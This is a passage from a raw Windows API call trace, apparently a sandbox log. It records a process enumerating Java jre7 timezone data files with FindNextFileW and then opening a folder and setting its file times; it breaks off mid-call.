ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Andorra", cAlternateFileName="")) returned 1 [0088.789] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Athens", cAlternateFileName="")) returned 1 [0088.789] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="Belgrade", cAlternateFileName="")) returned 1 [0088.789] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Berlin", cAlternateFileName="")) returned 1 [0088.789] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Brussels", cAlternateFileName="")) returned 1 [0088.789] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x49c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bucharest", cAlternateFileName="")) returned 1 [0088.789] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x520, dwReserved0=0x0, dwReserved1=0x0, cFileName="Budapest", cAlternateFileName="")) returned 1 [0088.789] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chisinau", cAlternateFileName="")) returned 1 [0088.789] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0x0, dwReserved1=0x0, cFileName="Copenhagen", cAlternateFileName="")) returned 1 [0088.789] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x77c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dublin", cAlternateFileName="")) returned 1 [0088.789] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x68c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gibraltar", cAlternateFileName="")) returned 1 [0088.789] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x40c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Helsinki", cAlternateFileName="")) returned 1 [0088.789] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Istanbul", cAlternateFileName="")) returned 1 [0088.789] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kaliningrad", cAlternateFileName="")) returned 1 [0088.789] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x418, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kiev", cAlternateFileName="")) returned 1 [0088.789] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x74c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lisbon", cAlternateFileName="")) returned 1 [0088.789] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="London", cAlternateFileName="")) returned 1 [0088.789] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x620, dwReserved0=0x0, dwReserved1=0x0, cFileName="Luxembourg", cAlternateFileName="")) returned 1 [0088.789] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="Madrid", cAlternateFileName="")) returned 1 [0088.790] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Malta", cAlternateFileName="")) returned 1 [0088.790] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x25d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Minsk", cAlternateFileName="")) returned 1 [0088.790] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x628, dwReserved0=0x0, dwReserved1=0x0, cFileName="Monaco", cAlternateFileName="")) returned 1 [0088.790] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Moscow", cAlternateFileName="")) returned 1 [0088.790] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oslo", cAlternateFileName="")) returned 1 [0088.790] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x620, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paris", cAlternateFileName="")) returned 1 [0088.790] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prague", cAlternateFileName="")) returned 1 [0088.790] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x454, dwReserved0=0x0, dwReserved1=0x0, cFileName="Riga", cAlternateFileName="")) returned 1 [0088.790] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rome", cAlternateFileName="")) returned 1 [0088.790] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="Samara", cAlternateFileName="")) returned 1 [0088.790] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x428, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simferopol", cAlternateFileName="")) returned 1 [0088.790] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x440, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sofia", cAlternateFileName="")) returned 1 [0088.790] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stockholm", cAlternateFileName="")) returned 1 [0088.790] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x438, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tallinn", cAlternateFileName="")) returned 1 [0088.790] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x48c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tirane", cAlternateFileName="")) returned 1 [0088.790] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uzhgorod", cAlternateFileName="")) returned 1 [0088.790] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vaduz", cAlternateFileName="")) returned 1 [0088.790] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vienna", cAlternateFileName="")) returned 1 [0088.790] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x424, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vilnius", cAlternateFileName="")) returned 1 [0088.790] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x235, dwReserved0=0x0, dwReserved1=0x0, cFileName="Volgograd", cAlternateFileName="")) returned 1 [0088.790] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="Warsaw", cAlternateFileName="")) returned 1 [0088.790] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x430, dwReserved0=0x0, dwReserved1=0x0, cFileName="Zaporozhye", cAlternateFileName="")) returned 1 [0088.790] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="Zurich", cAlternateFileName="")) returned 1 [0088.790] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="Zurich", cAlternateFileName="")) returned 0 [0088.790] GetLastError () returned 0x12 [0088.791] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.791] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0088.792] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250cd0) returned 1 [0088.792] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.792] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT", cAlternateFileName="")) returned 1 [0088.792] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="HST", cAlternateFileName="")) returned 1 [0088.792] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indian", cAlternateFileName="")) returned 1 [0088.792] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\indian"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0088.793] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\indian"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0088.794] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, 